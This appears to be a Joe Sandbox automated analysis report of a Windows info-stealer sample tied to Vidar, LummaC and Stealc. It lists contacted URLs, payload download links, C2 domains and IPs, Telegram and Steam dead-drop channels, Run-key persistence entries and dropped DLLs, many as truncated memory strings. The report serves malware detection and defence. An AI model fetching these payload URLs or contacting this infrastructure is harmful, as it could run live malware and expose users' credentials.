http://heks.egrowbrands.com/ldms/22594e132764.exestem32	MSBuild.exe, 00000002.00000002.2104347733.0000000001118000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://t.me/ae5ed	22594e132764.exe, 22594e132764.exe, 0000000D.00000002.2414047630.000000000086D000.00000004.00000001.01000000.00000008.sdmp	true	URL Reputation: malware	unknown
http://www.mozilla.com/en-US/blocklist/	MSBuild.exe, MSBuild.exe, 00000009.00000002.2650034436.00000000267F7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.9.dr, mozglue.dll.9.dr	false		unknown
https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english	MSBuild.exe, 00000013.00000002.2614624268.0000000001286000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mozilla.org0/	MSBuild.exe, 00000009.00000002.2655760524.00000000326DB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2650034436.00000000267F7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2647030170.0000000020890000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2661186202.000000003E5B6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.9.dr, freebl3.dll.9.dr, nss3[1].dll.9.dr, mozglue[1].dll.9.dr, mozglue.dll.9.dr, softokn3[1].dll.9.dr, softokn3.dll.9.dr, freebl3[1].dll.9.dr	false	URL Reputation: safe	unknown
https://lv.queniujq.c	MSBuild.exe, 00000013.00000002.2614329754.0000000001278000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://heks.egrowbrands.com/ldms/22594e132764.exepnsp.dll	MSBuild.exe, 00000002.00000002.2104347733.0000000001118000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	IEHCBA.9.dr	false	URL Reputation: safe	unknown
http://cowod.hopto.orgHDA	MSBuild.exe, 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://kasm.zubairgul.com:80ontent-Disposition:	MSBuild.exe, 0000000E.00000002.2700208576.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://sketchfab.com	MSBuild.exe, 00000013.00000002.2614624268.0000000001286000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	IEHCBA.9.dr	false	URL Reputation: safe	unknown
https://lv.queniujq.cn	MSBuild.exe, 00000013.00000002.2614624268.0000000001286000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	AKECBF.9.dr	false	URL Reputation: safe	unknown
https://www.youtube.com/	MSBuild.exe, 00000013.00000002.2614329754.0000000001278000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=en	MSBuild.exe, 00000013.00000002.2614624268.0000000001286000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://kasm.zubairgul.com/lt?0_	MSBuild.exe, 0000000E.00000002.2704953389.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.google.com/recaptcha/	MSBuild.exe, 00000013.00000002.2614329754.0000000001278000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://checkout.steampowered.com/	MSBuild.exe, 00000013.00000002.2614329754.0000000001278000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	AKECBF.9.dr	false	URL Reputation: safe	unknown
http://cowod.multipart/form-data;	MSBuild.exe, 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english	MSBuild.exe, 00000013.00000002.2614624268.0000000001286000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	MSBuild.exe, 00000009.00000002.2633668916.0000000001573000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2633668916.0000000001623000.00000004.00000020.00020000.00000000.sdmp, DBKEGC.9.dr	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	MSBuild.exe, 00000009.00000002.2633668916.0000000001573000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2633668916.0000000001623000.00000004.00000020.00020000.00000000.sdmp, DBKEGC.9.dr	false		unknown
https://store.steampowered.com/;	MSBuild.exe, 00000013.00000002.2614624268.0000000001286000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://t.me/	MSBuild.exe, 00000009.00000002.2633668916.0000000001498000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000000E.00000002.2704953389.0000000000DF9000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://steamcommunity.com/profiles/76561199780418869u55uMozilla/5.0	22594e132764.exe, 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 22594e132764.exe, 0000000D.00000002.2414047630.000000000086D000.00000004.00000001.01000000.00000008.sdmp	true		unknown
https://t.me/maslengdsau?$	MSBuild.exe, 00000009.00000002.2633668916.0000000001498000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://web.telegram.org	MSBuild.exe, 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2633668916.0000000001498000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000000E.00000002.2704953389.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000000E.00000002.2704953389.0000000000DF9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/	MSBuild.exe, 00000013.00000002.2614329754.0000000001278000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/	MSBuild.exe, 00000013.00000002.2614329754.0000000001278000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	DBKEGC.9.dr	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	IEHCBA.9.dr	false	URL Reputation: safe	unknown
http://cowod.hopto.AAFHDA	MSBuild.exe, 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://recaptcha.net/recaptcha/;	MSBuild.exe, 00000013.00000002.2614624268.0000000001286000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exe1kkkk	MSBuild.exe, 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://cowod.hoptoJJKFIIJ	MSBuild.exe, 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://medal.tv	MSBuild.exe, 00000013.00000002.2614624268.0000000001286000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://broadcast.st.dl.eccdnx.com	MSBuild.exe, 00000013.00000002.2614329754.0000000001278000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	IEHCBA.9.dr	false	URL Reputation: safe	unknown
http://kasm.zubairgul.com/sql.dllXT	MSBuild.exe, 0000000E.00000002.2704953389.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://kasm.zubairgul.com/FO	MSBuild.exe, 0000000E.00000002.2704953389.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steam	MSBuild.exe, 00000013.00000002.2614624268.0000000001286000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://login.steampowered.com/	MSBuild.exe, 00000013.00000002.2614329754.0000000001278000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sqlite.org/copyright.html.	MSBuild.exe, 00000009.00000002.2646437491.000000002032D000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2641385828.000000001A387000.00000004.00000020.00020000.00000000.sdmp, sql[1].dll.9.dr	false	URL Reputation: safe	unknown
http://kasm.zubairgul.com/sql.dllVersion	MSBuild.exe, 0000000E.00000002.2704953389.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl	MSBuild.exe, 00000013.00000002.2614624268.0000000001286000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	IEHCBA.9.dr	false		unknown
https://recaptcha.net	MSBuild.exe, 00000013.00000002.2614329754.0000000001278000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://upx.sf.net	Amcache.hve.5.dr	false	URL Reputation: safe	unknown
https://store.steampowered.com/	MSBuild.exe, 00000013.00000002.2614329754.0000000001278000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://t.me/maslengdsa9	MSBuild.exe, 0000000E.00000002.2704953389.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw	MSBuild.exe, 00000013.00000002.2614624268.0000000001286000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://kasm.zubairgul.com/sql.dllE;.JS;.JSE;.WSF;.WS	MSBuild.exe, 0000000E.00000002.2704953389.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	MSBuild.exe, 00000009.00000002.2633668916.0000000001573000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2633668916.0000000001623000.00000004.00000020.00020000.00000000.sdmp, DBKEGC.9.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.102.49.254	steamcommunity.com	United States	16625	AKAMAI-ASUS	true
147.45.44.104	nsdm.cumpar-auto-orice-tip.ro	Russian Federation	2895	FREE-NET-ASFREEnetEU	true
95.164.90.97	kasm.zubairgul.com	Gibraltar	39762	VAKPoltavaUkraineUA	true
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	true
45.132.206.251	cowod.hopto.org	Russian Federation	59731	LIFELINK-ASRU	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1528370
Start date and time:	2024-10-07 21:17:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	WiTqtf1aiE.exe renamed because original name is a hash value
Original Sample Name:	e16b25aaadf645e0de019d8e3ed50eb0.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@25/49@14/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 95% Number of executed functions: 109 Number of non-executed functions: 240
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.190.159.75, 20.190.159.68, 20.190.159.2, 40.126.31.69, 40.126.31.67, 20.190.159.64, 20.190.159.4, 40.126.31.73, 199.232.214.172, 192.229.221.95, 52.149.20.212, 52.165.164.15, 20.189.173.22, 20.3.187.198, 20.42.73.29, 93.184.221.240
Excluded domains from analysis (whitelisted): azurefd-t-fb-prod.trafficmanager.net, slscr.update.microsoft.com, otelrules.afd.azureedge.net, onedsblobprdwus17.westus.cloudapp.azure.com, wu.azureedge.net, ocsp.digicert.com, login.live.com, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, onedsblobprdeus15.eastus.cloudapp.azure.com, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, sls.update.microsoft.com, hlb.apr-52dd2-0.edgecastdns.net, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, prdv4a.aadg.msidentity.com, ctldl.windowsupdate.com.delivery.microsoft.com, otelrules.azureedge.net, www.tm.v4.a.prd.aadg.akadns.net, wu.ec.azureedge.net, ctldl.windowsupdate.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, blobcollector.events.data.trafficmanager.net, azureedge-t-prod.trafficmanager.net, umwatson.events.data.microsoft.com, www.tm.lg.prod.aadmsa.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: WiTqtf1aiE.exe

Simulations

Behavior and APIs

Time	Type	Description
15:18:25	API Interceptor	4x Sleep call for process: WerFault.exe modified
15:18:34	API Interceptor	2x Sleep call for process: MSBuild.exe modified
21:18:05	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run IDSMService C
21:18:14	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run IDSMService C
21:18:22	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_6546093.lnk

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.102.49.254	http://gtm-cn-j4g3qqvf603.steamproxy1.com/	Get hash	malicious	Unknown	Browse	www.valvesoftware.com/legal.htm
147.45.44.104	wULBz8VjH0.exe	Get hash	malicious	Vidar	Browse	nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exe
	FdjDPFGTZS.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exe
	45Ywq5ad5H.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exe
	f1r6P3j3g7.exe	Get hash	malicious	LummaC, Vidar	Browse	nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exe
	NdSXVNeoET.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exe
	VLSiVR4Qxs.exe	Get hash	malicious	LummaC, Vidar	Browse	nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exe
	E7Bu6a7eve.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	jask.powerforxes.shop/ldms/a43486128347.exe
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	jask.powerforxes.shop/ldms/a43486128347.exe
	cmBxQ7gA5a.exe	Get hash	malicious	Vidar	Browse	jask.powerforxes.shop/ldms/a43486128347.exe
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	jask.powerforxes.shop/ldms/a43486128347.exe
95.164.90.97	wULBz8VjH0.exe	Get hash	malicious	Vidar	Browse	lade.petperfectcare.com/
	f1r6P3j3g7.exe	Get hash	malicious	LummaC, Vidar	Browse	lade.petperfectcare.com/
	lCVFGKfczi.exe	Get hash	malicious	Vidar	Browse	lade.petperfectcare.com/
	VLSiVR4Qxs.exe	Get hash	malicious	LummaC, Vidar	Browse	lade.petperfectcare.com/
	file.exe	Get hash	malicious	Vidar	Browse	lade.petperfectcare.com/
	gIXLkTvFeC.exe	Get hash	malicious	Vidar	Browse	lade.petperfectcare.com/
	0FZVLEdDuc.exe	Get hash	malicious	Vidar	Browse	lade.petperfectcare.com/
	file.exe	Get hash	malicious	Vidar	Browse	lade.petperfectcare.com/
	MPil9jkBPG.exe	Get hash	malicious	Vidar	Browse	lade.petperfectcare.com/
	gpfSnYlScw.exe	Get hash	malicious	Vidar	Browse	lade.petperfectcare.com/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cowod.hopto.org	out.exe	Get hash	malicious	Vidar	Browse	45.132.206.251
	f1r6P3j3g7.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	VLSiVR4Qxs.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	down.exe	Get hash	malicious	Unknown	Browse	45.132.206.251
	zncaKWwEdq.exe	Get hash	malicious	Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	7f3c2473d1e6.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
nsdm.cumpar-auto-orice-tip.ro	wULBz8VjH0.exe	Get hash	malicious	Vidar	Browse	147.45.44.104
	FdjDPFGTZS.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.44.104
	45Ywq5ad5H.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.44.104
	f1r6P3j3g7.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
	NdSXVNeoET.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.44.104
	VLSiVR4Qxs.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
steamcommunity.com	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	out.exe	Get hash	malicious	Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	FdjDPFGTZS.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254
	CSY6k9gpVb.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	TuQlz67byH.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	CatalogApp.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	CatalogApp.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
bg.microsoft.map.fastly.net	https://s.craft.me/yB5midhwwaHUPW	Get hash	malicious	HTMLPhisher	Browse	199.232.214.172
	https://entertaininmotionre.pro/IQCm/	Get hash	malicious	HTMLPhisher	Browse	199.232.210.172
	https://dsdhie.org/dsjhem	Get hash	malicious	Unknown	Browse	199.232.214.172
	FdjDPFGTZS.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	199.232.214.172
	Aew8SXjXEb.exe	Get hash	malicious	Stealc	Browse	199.232.214.172
	Adobe-Setup.msi	Get hash	malicious	Korplug	Browse	199.232.210.172
	https://dsdhie.org/dsjhem	Get hash	malicious	Unknown	Browse	199.232.214.172
	TuQlz67byH.exe	Get hash	malicious	LummaC	Browse	199.232.210.172
	45Ywq5ad5H.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	199.232.214.172
	f1r6P3j3g7.exe	Get hash	malicious	LummaC, Vidar	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	down.exe	Get hash	malicious	Unknown	Browse	149.154.167.99
	wrong bank details.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	z1PO7311145.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	PO.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	TEKL#U0130F TALEP VE F#U0130YAT TEKL#U0130F#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	rREQUESTFORQUOTE-INQUIRY87278.exe	Get hash	malicious	MassLogger RAT, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	SM-0230- J - TOOL 10 DEGREE FOR DWT MACHINE-MF5i.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Yeni Sipari#U015f.pdf.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	COMPANY PROFILE_pdf.exe	Get hash	malicious	DarkTortilla, Snake Keylogger	Browse	149.154.167.220
	Pla#U0107anje,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
FREE-NET-ASFREEnetEU	wULBz8VjH0.exe	Get hash	malicious	Vidar	Browse	147.45.44.104
	FdjDPFGTZS.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.44.104
	45Ywq5ad5H.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.44.104
	f1r6P3j3g7.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
	NdSXVNeoET.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.44.104
	VLSiVR4Qxs.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
	https://steamcommonunity.com/gift/receive	Get hash	malicious	Unknown	Browse	147.45.47.205
	E7Bu6a7eve.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.44.104
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
	cmBxQ7gA5a.exe	Get hash	malicious	Vidar	Browse	147.45.44.104
AKAMAI-ASUS	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	out.exe	Get hash	malicious	Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	cenSXPimaG.elf	Get hash	malicious	Mirai, Okiru	Browse	23.43.32.11
	FdjDPFGTZS.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254
	CSY6k9gpVb.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	http://kendellseafoods.com/	Get hash	malicious	Unknown	Browse	104.102.44.86
	TuQlz67byH.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
VAKPoltavaUkraineUA	wULBz8VjH0.exe	Get hash	malicious	Vidar	Browse	95.164.90.97
	f1r6P3j3g7.exe	Get hash	malicious	LummaC, Vidar	Browse	95.164.90.97
	lCVFGKfczi.exe	Get hash	malicious	Vidar	Browse	95.164.90.97
	VLSiVR4Qxs.exe	Get hash	malicious	LummaC, Vidar	Browse	95.164.90.97
	file.exe	Get hash	malicious	Vidar	Browse	95.164.90.97
	gIXLkTvFeC.exe	Get hash	malicious	Vidar	Browse	95.164.90.97
	0FZVLEdDuc.exe	Get hash	malicious	Vidar	Browse	95.164.90.97
	file.exe	Get hash	malicious	Vidar	Browse	95.164.90.97
	MPil9jkBPG.exe	Get hash	malicious	Vidar	Browse	95.164.90.97
	gpfSnYlScw.exe	Get hash	malicious	Vidar	Browse	95.164.90.97

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	https://ipp.safetyworksolutions.com/	Get hash	malicious	Unknown	Browse	23.1.237.91
	FdjDPFGTZS.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	23.1.237.91
	Aew8SXjXEb.exe	Get hash	malicious	Stealc	Browse	23.1.237.91
	TuQlz67byH.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	lCVFGKfczi.exe	Get hash	malicious	Vidar	Browse	23.1.237.91
	1f13Cs1ogc.exe	Get hash	malicious	Stealc	Browse	23.1.237.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	23.1.237.91
	https://www.rhris.com/EmailEmploymentValidation.cfm?EmploymentRefID=E84F959AEA960B8186C356E23E6C822C8E204B6A75564EECEC1823507D68DDBF	Get hash	malicious	Unknown	Browse	23.1.237.91
	https://future.nhs.uk	Get hash	malicious	Unknown	Browse	23.1.237.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	23.1.237.91
28a2c9bd18a11de089ef85a160da29e4	https://s.craft.me/yB5midhwwaHUPW	Get hash	malicious	HTMLPhisher	Browse	13.107.253.45
	https://t.dripemail3.com/c/eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJkZXRvdXIiLCJpc3MiOiJtb25vbGl0aCIsInN1YiI6ImRldG91cl9saW5rIiwiaWF0IjoxNzI4MzA1Mzk4LCJuYmYiOjE3MjgzMDUzOTgsImFjY291bnRfaWQiOiIyNzYyNjA5IiwiZGVsaXZlcnlfaWQiOiJpeHI5d3pqeGcwZnI2NGJjbGwycyIsInRva2VuIjoiaXhyOXd6anhnMGZyNjRiY2xsMnMiLCJzZW5kX2F0IjoxNzI4MzA0MzU0LCJlbWFpbF9pZCI6OTk2Mzg3MCwiZW1haWxhYmxlX3R5cGUiOiJCcm9hZGNhc3QiLCJlbWFpbGFibGVfaWQiOjM5NTM4MjUsInVybCI6Imh0dHBzOi8vZGFpbHlhbGFza2EuY29tL25ld3M_X19zPWw5bzljOTZzbG8xZjF3aGFiODZrJnV0bV9zb3VyY2U9ZHJpcCZ1dG1fbWVkaXVtPWVtYWlsJnV0bV9jYW1wYWlnbj1TcHJpbmcraGFzK3NwcnVuZyslRjAlOUYlOEMlQjEifQ.HIDfaWGNVn-TCtUT4qZNHq7EdymoLEqvVA8XxZBU8z8	Get hash	malicious	HtmlDropper	Browse	13.107.253.45
	FW_ _EXTERNAL_ Completed_ iNH9Y_Contract_and_Agreement_3509750318S REF ID_iNH9Y.msg	Get hash	malicious	HTMLPhisher	Browse	13.107.253.45
	file.exe	Get hash	malicious	Credential Flusher	Browse	13.107.253.45
	https://entertaininmotionre.pro/IQCm/	Get hash	malicious	HTMLPhisher	Browse	13.107.253.45
	https://dsdhie.org/dsjhem	Get hash	malicious	Unknown	Browse	13.107.253.45
	https://ipp.safetyworksolutions.com/	Get hash	malicious	Unknown	Browse	13.107.253.45
	wULBz8VjH0.exe	Get hash	malicious	Vidar	Browse	13.107.253.45
	file.exe	Get hash	malicious	Credential Flusher	Browse	13.107.253.45
	FdjDPFGTZS.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	13.107.253.45
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	FdjDPFGTZS.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254
	CSY6k9gpVb.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	TuQlz67byH.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	45Ywq5ad5H.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254
	f1r6P3j3g7.exe	Get hash	malicious	LummaC, Vidar	Browse	104.102.49.254
	NdSXVNeoET.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254
	VLSiVR4Qxs.exe	Get hash	malicious	LummaC, Vidar	Browse	104.102.49.254
37f463bf4616ecd445d4a1937da06e19	out.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	PEDIDO-144848.exe	Get hash	malicious	FormBook, GuLoader	Browse	149.154.167.99
	SecuriteInfo.com.Win64.TrojanX-gen.22573.8055.exe	Get hash	malicious	Unknown	Browse	149.154.167.99
	down.exe	Get hash	malicious	Unknown	Browse	149.154.167.99
	jre-6-windows-i586.exe	Get hash	malicious	Unknown	Browse	149.154.167.99
	transferencia.exe	Get hash	malicious	FormBook, GuLoader	Browse	149.154.167.99
	SM-0230- J - TOOL 10 DEGREE FOR DWT MACHINE-MF5i.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.99
	t5985gRtZo.lnk	Get hash	malicious	Unknown	Browse	149.154.167.99
	ZAMOWIEN.EXE.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	149.154.167.99
	0urFbKxdvL.exe	Get hash	malicious	Unknown	Browse	149.154.167.99

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
